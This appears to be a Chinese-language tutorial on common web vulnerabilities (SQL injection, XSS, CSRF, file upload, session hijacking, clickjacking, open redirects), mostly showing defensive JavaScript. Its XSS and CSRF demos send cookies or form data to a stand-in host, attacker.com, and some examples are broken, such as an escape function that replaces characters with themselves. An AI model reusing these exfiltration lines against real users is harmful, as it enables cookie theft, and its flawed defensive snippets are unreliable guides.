1. SQL注入
就是通过把SQL
命令插入到Web
表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
-
总的来说有以下几点
- 永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双
"-"
进行转换等 - 永远不要使用动态拼装SQL,可以使用参数化的
SQL
或者直接使用存储过程进行数据查询存取 - 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接
- 不要把机密信息明文存放,请加密或者
hash
掉密码和敏感的信息
- 永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双
-
防护原理:
- 使用参数化查询或预编译语句
- 使用ORM框架或查询构建器
- 对用户输入进行输入验证和过滤
示例代码:
// 使用参数化查询
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(sql, [username, password], (err, result) => {
// 处理查询结果
});
// 使用预编译语句
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
const stmt = db.prepare(sql);
stmt.run(username, password, (err, result) => {
// 处理查询结果
});
2. 跨站脚本攻击 (XSS)
Xss(cross-site scripting)
攻击指的是攻击者往Web
页面里插入恶意html
标签或者javascript
代码。比如:攻击者在论坛中放一个看似安全的链接,骗取用户点击后,窃取cookie
中的用户私密信息;或者攻击者在论坛中加一个恶意表单,当用户提交表单的时候,却把信息传送到攻击者的服务器中,而不是用户原本以为的信任站点
- 防护原理:
- 对用户输入进行合适的转义和过滤
- 使用安全的模板引擎或自动转义函数
- 使用HTTP头部中的Content Security Policy (CSP)
示例代码:
// 对用户输入进行转义
function escapeHTML(input) {
return input.replace(/</g, '<').replace(/>/g, '>');
}
// 使用安全的模板引擎
const template = Handlebars.compile('{{data}}');
const html = template({ data: userInput });
// 使用Content Security Policy (CSP)
res.setHeader('Content-Security-Policy', 'script-src \'self\'');
3. 跨站请求伪造 (CSRF)
- 防护原理:
- 使用
CSRF Token
进行验证 - 验证请求来源
- 验证
HTTP Referer
头
- 使用
示例代码:
// 使用CSRF Token进行验证
app.use((req, res, next) => {
res.locals.csrfToken = generateCSRFToken();
next();
});
// 验证请求来源
if (req.headers.origin !== 'https://example.com') {
// 请求不是来自预期的来源,拒绝处理
}
// 验证HTTP Referer头
if (req.headers.referer !== 'https://example.com/') {
// 请求不是来自预期的来源,拒绝处理
}
XSS与CSRF有什么区别吗?
XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)是两种不同类型的安全威胁,其区别如下:
XSS(跨站脚本攻击):
- 目标:获取用户的敏感信息、执行恶意代码。
- 攻击方式:攻击者向受信任网站注入恶意脚本代码,使用户的浏览器执行该恶意脚本。
- 攻击原理:XSS攻击利用了网页应用对用户输入的信任,通过注入恶意脚本代码,使其在用户的浏览器中执行。
- 防护措施:对用户输入进行合适的转义和过滤,使用安全的模板引擎或自动转义函数,使用Content Security Policy(CSP)等。
CSRF(跨站请求伪造):
- 目标:利用用户的身份完成恶意操作,而不是获取敏感信息。
- 攻击方式:攻击者诱使用户在受信任网站的身份下执行恶意操作,利用用户在受信任网站上的身份发送恶意请求。
- 攻击原理:CSRF攻击利用了网页应用对用户已认证身份的信任,通过伪造请求,利用用户的身份在受信任网站上执行恶意操作。
- 防护措施:使用CSRF Token进行验证,验证请求来源、HTTP Referer头,双重提交Cookie验证等。
总结:
- XSS攻击注重利用网页应用对用户输入的信任,目标是获取用户的敏感信息和执行恶意代码。
- CSRF攻击注重利用网页应用对用户已认证身份的信任,目标是代替用户完成指定的动作。
请注意,为了有效地防止XSS和CSRF攻击,应采用综合的安全措施,并进行定期的安全审查和测试。
XSS攻击获取Cookie的示例
<!-- index.html -->
<!DOCTYPE html>
<html>
<head>
<title>XSS Attack Demo</title>
</head>
<body>
<h1>XSS Attack Demo</h1>
<div id="content"></div>
<script src="payload.js"></script>
</body>
</html>
// payload.js
const maliciousScript = `
const xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/steal-cookie?cookie=' + document.cookie, true);
xhr.send();
`;
document.getElementById('content').innerHTML = maliciousScript;
在上述示例中,恶意脚本payload.js
被注入到页面中。该脚本通过XMLHttpRequest
发送GET请求,将页面中的Cookie信息发送给攻击者控制的服务器。
CSRF攻击的示例
<!-- index.html -->
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack Demo</title>
</head>
<body>
<h1>CSRF Attack Demo</h1>
<form id="transfer-form" action="http://bank.com/transfer" method="POST">
<input type="hidden" name="amount" value="10000">
<input type="submit" value="Transfer">
</form>
<script src="payload.js"></script>
</body>
</html>
// payload.js
const maliciousScript = `
const form = document.getElementById('transfer-form');
form.action = 'http://attacker.com/steal-data';
form.submit();
`;
eval(maliciousScript);
在上述示例中,恶意脚本payload.js
被执行。该脚本修改了表单transfer-form
的目标地址为攻击者控制的服务器,并提交表单。当用户点击"Transfer"按钮时,实际上会向攻击者服务器发送用户的敏感数据。
请注意,以上示例仅为了说明XSS攻击和CSRF攻击的原理,并非真实的攻击代码。在实际开发中,应该采取相应的防护措施来预防这些安全威胁,如输入验证、输出编码、使用CSRF令牌等。
4. 文件上传漏洞
- 防护原理:
- 验证文件类型和大小
- 存储上传的文件在非Web可访问目录下
- 生成唯一且安全的文件名
示例代码:
// 验证文件类型和大小
const allowedFileTypes = ['image/jpeg', 'image/png'];
const maxFileSize = 5 * 1024 * 1024; // 5MB
if (!allowedFileTypes.includes(file.mimetype) || file.size > maxFileSize) {
// 文件类型不合法或大小超过限制,拒绝上传
}
5. 会话劫持和会话固定
- 防护原理:
- 使用安全的会话管理机制(如使用HTTPS、使用HTTP Only和Secure标志的Cookie)
- 生成随机且复杂的会话ID
- 定期更新会话ID
示例代码:
// 设置HTTP Only和Secure标志的会话Cookie
res.cookie('sessionID', sessionID, { httpOnly: true, secure: true });
// 生成随机且复杂的会话ID
const sessionID = generateSessionID();
// 定期更新会话ID
setInterval(() => {
// 生成新的会话ID
const newSessionID = generateSessionID();
// 更新会话ID
req.sessionID = newSessionID;
}, 30 * 60 * 1000); // 30分钟更新一次会话ID
6. 点击劫持
- 防护原理:
- 使用
X-Frame-Option
s响应头 - 使用
Content Security Policy (CSP)
- 使用
Framebusting
脚本
示例代码:
// 使用X-Frame-Options响应头
res.setHeader('X-Frame-Options', 'DENY');
// 使用Content Security Policy (CSP)
res.setHeader('Content-Security-Policy', 'frame-ancestors \'none\'');
// 使用Framebusting脚本
if (window.top !== window.self) {
window.top.location = window.self.location;
}
7. 不安全的重定向和跳转
- 防护原理:
- 对重定向URL进行白名单验证
- 验证跳转请求的合法性
- 使用HTTP Only和Secure标志的Cookie
示例代码:
// 对重定向URL进行白名单验证
const whitelist = ['https://example.com', 'https://example.net'];
if (whitelist.includes(redirectURL)) {
res.redirect(redirectURL);
} else {
// 非法的重定向URL,拒绝跳转
}
// 验证跳转请求的合法性
const referer = req.headers.referer;
if (referer && referer.startsWith('https://example.com')) {
res.redirect(redirectURL);
} else {
// 非法的跳转请求,拒绝跳转
}
// 使用HTTP Only和Secure标志的Cookie
res.cookie('sessionID', sessionID, { httpOnly: true, secure: true });